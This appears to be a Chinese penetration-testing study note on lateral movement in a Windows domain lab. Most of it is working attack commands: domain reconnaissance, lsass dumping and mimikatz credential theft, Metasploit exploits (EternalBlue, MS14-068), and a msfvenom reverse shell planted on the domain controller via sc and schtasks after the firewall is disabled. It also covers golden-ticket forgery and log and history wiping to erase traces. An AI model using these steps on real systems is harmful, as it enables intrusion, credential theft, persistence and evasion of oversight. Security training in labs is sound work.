内网渗透 day22-横向移动
横向移动
环境:
win2008: ZJW2.com 192.168.227.140
win7: 192.168.227.141
kali: 192.168.227.129
概念:
城内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术, 尤其是在高级持续威胁(Advanced Persistent Threate APT)中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机.扩大 资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要 资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统 的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击, 从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。
流程:
前提:获得域用户的会话
1. 信息收集
查询域的数量:net view /domain
查看主机数量:net view | net view /domain:域名
查看是否在域中:ipconfig /all
解析域控ip:nslookup 域名ping 域名
查看域用户组:net group /domain
查看域内时间:net time /domain
查询域控的账户信息:net user /domain
查看域控:net group "domain controllers" /domain
查看域内主机:net group "domain computers" /domain
查看域用户:net group "domain users" /domain
查看用户的sid:whoami /user
管理员sid:结尾是500,结尾1000+是普通用户,前面的那串是域id
扫描域用户主机端口开放 nmap IP -sSV -F -T4
基于PING命令的ICMP协议主机存活探测:
for /L %i in (1,1,254) do @ping -w 1 -n 1 202.101.1.%i | findstr "TTL"
systeminfo | find "KB" 查找是否打上对应的补丁信息
whoami /user 查看sid
获得权限后
存储lsass.exe中的密码:procdump -acceptela -ma lsass.exe lsass.dmp
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit 获取在这台计算机存储的域用户帐号密码
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit 获取ntlm和lm
msf中可以使用load kiwi载入kiwi模块调用creds_all命令获取帐号密码
2. 漏洞利用{永恒之蓝,ms18_8120}
msf中search 漏洞编号
use 使用对应的漏洞
show options 显示参数信息
设置参数信息
run | exploit 执行
3. 提权
getsystem 万一成功了呢
getuid 查看是否提权成功
ps 查看进程准备做会话迁移
migrate pid 会话迁移
getpid 查看是否迁移成功
steal_token令牌盗用+查看sid
rev2self 返回身份
4. 向域控提权{MS14-068}
(1) 利用前面收集的域用户、域名、域用户SID、域控IP、域用户密码进行MS14-068漏洞的利用获取更改过的PAC的TGT
ms14-068 -u 域用户名@域名 -s 域用户sid -d 域控ip -p 域用户密码
可以看到创建了.ccache文件
(2) 利用mimikatz清除票据
kerberos::purge 清除票据
或者在cmd直接使用klist purge
(3) 利用mimikatz注入票据
kerberos::ptc TGT_pipibo@ZJW2.com.ccache
(4) 成功访问域控的c盘资源
这边不能跟ip,需要跟域控的主机名
5. *向域控植入后门
(1) 生成服务后门木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.227.129 lport=4444 -f exe-service -o shell.exe
(2) 将木马上传到域用户(win7)
(3) 将服务后门木马从win7上传到域控
前提是有访问域控的权限,做成功ms14-068或者黄金票据
copy 准备好的木马 \\域控主机名\c$
(4) 创建服务
给域控创建服务
注意:binpash=后面需要跟上个空格
① 创建关闭防火墙的服务
sc \\zjw-server08 create cf binpath= "netsh advfirewall set allprofiles state off"
② 创建运行后门木马的服务
sc \\zjw-server08 create shell binpath= "c:\\shell.exe"
(5) 运行服务
sc \\zjw-server08 start 创建服务的名称
① 运行关闭防火墙的服务
sc \\zjw-server08 start cf
虽然这边报错了,但是还是给你关闭了防火墙
② 运行后门木马的服务
成功反弹会话(这边需要先监听)
(6) 计划任务
除了运用服务运行还能用计划任务运行
schtasks与at命令的区别:更方便创建,功能更多,并且可以主动运行计划任务。
① 创建计划任务
schtasks /create /s zjw-server08 /tn shell /tr c:\\shell.exe /sc once /st 13:00 /ru system /f
② 运行计划任务
schtasks /run /tn shell /s zjw-server08
schtasks /create 创建任务 /tn :任务名称 /tr :任务运行的路径 /sc : 指定计划频率 /st :运行的时间 /ru :运行的权限 /s :远程的主机ip或者主机名 /run :运行 |
6. 获取域控交互权限
在执行服务或者计划任务后就能获得一个拥有权限的域控会话
use 3 进入会话,可以看到已经拥有权限了
7. 提权
一般计划任务和服务运行的木马都会有管理员权限
如果没有则使用提权步骤bypassusc或者ms18-8120漏洞等等
8. 信息搜集{账号密码信息、sid。。。}
伪造黄金凭据需要具备下面条件:
krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID值
要伪造的用户名
(1) hashdump获得krbtgt的ntlm hash
(2) 令牌盗用后获得域名和域sid
9. 制作黄金票据 | 植入后门
cmd下制作黄金票据在day21中有,这用meterpreter制作黄金票据
(1) 载入kiwi模块
(2) 生成黄金票据
golden_ticket_create -u Administrator -d 域名 -s S-1-5-21-792999653-2678420337-3976732325 -k krbtgt-ntlm-hash -t gold.tck
票据会生成在你kali上
(3) 切换到域用户win7上准备测试
(4) 清空票据
kerberos_ticket_purge
(5) 注入黄金票据
(6) 成功访问域控资源
10. 痕迹清除
meterpreter输入clearev清除痕迹
linux下
清理命令记录:
(1)仅清理当前用户: history -c
(2)使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0
(3)删除记录
删除登录失败记录:echo > /var/log/btmp
删除登录成功记录:echo > /var/log/wtmp (此时执行last命令就会发现没有记录)
删除日志记录:echo > /var/log/secure